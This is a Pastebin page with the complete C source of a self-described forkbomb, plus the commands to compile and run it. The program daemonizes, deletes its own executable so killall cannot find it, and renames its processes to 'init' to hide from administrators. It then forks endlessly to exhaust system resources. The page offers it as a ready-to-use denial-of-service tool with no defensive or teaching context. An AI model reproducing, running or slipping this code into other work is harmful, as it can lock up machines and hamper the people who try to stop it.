Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*
- * yet another forkbomb
- * 2016, gh0stwizard
- *
- * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
- * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
- * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
- * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
- * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
- * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
- * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
- * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
- * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
- * SUCH DAMAGE.
- *
- * gcc -Wall -std=gnu99 -pedantic forkbomb.c
- * ./a.out
- */
- #ifdef __linux__
- #include <sys/prctl.h>
- #endif
- #include <unistd.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <time.h>
- #define MAXFORKS 2
- int main(int argc, char *argv[])
- {
- char orig[256];
- char next[] = "init";
- pid_t cpid;
- int len;
- int count = MAXFORKS;
- struct timespec wtime, ptime;
- len = strlen(argv[0]);
- strncpy(orig, argv[0], len);
- wtime.tv_sec = 0;
- wtime.tv_nsec = 1000000; /* 1 msec */
- ptime.tv_sec = 0;
- ptime.tv_nsec = 50000000; /* 50 msec */
- while ((cpid = fork()) == -1) sleep(1);
- if (cpid != 0) exit(EXIT_SUCCESS); /* daemonize */
- unlink(orig); /* killall looks for /proc/[pid]/exe */
- while (count--) {
- while ((cpid = fork()) == -1) nanosleep(&wtime, NULL);
- if (cpid) {
- if (count == 0)
- break; /* stop parent */
- else
- continue;
- }
- strncpy(argv[0], next, len); /* cmdline */
- #ifdef __linux__
- prctl(PR_SET_NAME, (unsigned long)next, 0, 0, 0); /* comm */
- #endif
- /* payload */
- nanosleep(&ptime, NULL);
- if (count == 0)
- count = MAXFORKS;
- }
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement